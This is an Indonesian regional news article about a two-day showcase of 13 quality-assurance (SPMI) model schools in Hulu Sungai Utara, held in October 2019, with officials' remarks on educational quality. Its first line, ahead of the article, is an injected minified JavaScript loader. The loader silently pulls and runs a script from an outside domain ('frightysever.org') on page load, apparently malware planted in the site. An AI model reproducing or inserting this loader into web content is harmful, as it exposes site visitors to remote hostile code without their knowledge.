(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, 13 sekolah percontohan SPMI (Sistem Penjamin Mutu Internal) se Kabupaten Hulu Sungai Utara (HSU) semarakkan gebyar sekolah model SPMI selama dua hari (29-30 Oktober 2019) yang diselenggarakan Dinas Pendidikan (Disdik).
Kegiatan yang dihelat di halaman kantor Disdik HSU ini berlangsung meriah. Pasalnya dihadiri oleh para guru dan siswa berbagai sekolah yang menunjukkan keunggulan masing-masing. Baik pertunjukan seni, fashion show dan lainnya sebagainya. 13 sekolah model SPMI tersebut yaitu SMKN Babirik, SDN Bayur, SDN Sei turak, SDN palampitan, SDN jumba 1, SMPN 4 Amuntai, SMPN 7 Amuntai, SMPN 1 Sei Pandan, SMAN 1 Danau Panggang, SDN Babirik Hulu dan SDN Pematang Benteng.
Gebyar sendiri dibuka secara resmi oleh Kepada Disdik HSU H Rahmat didampingi Pejabat dari Lembaga Penjamin Mutu Pendidikan (LPMP) DR H Arif Sriwiyana yang dilanjutkan peninjauan ke stand pameran sekolah.
Kepala Disdik HSU H Rahmat mengatakan, sesuai visi Disdik HSU memang sangat mengutamakan mutu pendidikan. “Sekarang ini apabila kita berbicara tentang pendidikan, berarti kita bicara tentang mutu atau kualitas,” jelas Rahmat.
Beda, kata Rahmat, dengan pendidikan zaman dulu yang masih mengangkat persoalan mengenai akses pendidikan, sebab saat itu jumlah lembaga pendidikan masih sedikit. Ia menyebut, sekolah berkualitas adalah apabila mampu meraih prestasi dengan proses belajar mengajar yang menyenangkan. “Gurunya gembira, murid juga gembira siswa jangan dibebani tugas belajar yang berat,” katanya.
Rahmat tidak setuju apabila penilaian terhadap sekolah bermutu hanya dititikberatkan pada aspek nilai ujian, capaian nilai rata-rata tertinggi dan sebagainya.
Sebagaimana kegiatan Gebyar ini, suasana menyenangkan mewarnai kegiatan siswa seperti pentas seni, peragaan busana dan lainnya. Rahmat berharap warga masyarakat, kalangan pejabat pemerintah daerah bisa berkunjung melihat pameran dan suasana gebyar di halaman kantor Disdik yang akan berakhir Rabu (30/10) jam 16.00 Wita.
Sementara itu, Arif Sriwiyana menyebut, biasanya event Gebyar sekolah model SPMI dilaksanakan ditingkat provinsi Kalsel oleh LPMP, namun agar pesertanya lebih banyak diputuskan penyelenggaraannya ditingkat kabupaten/kota masing-masing.
“Mudah-mudahan melalui kegiatan Gebyar ini menjadi khazanah bagi jajaran pendidikan didaerah untuk meningkatkan mutu pendidikan,” tandasnya.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.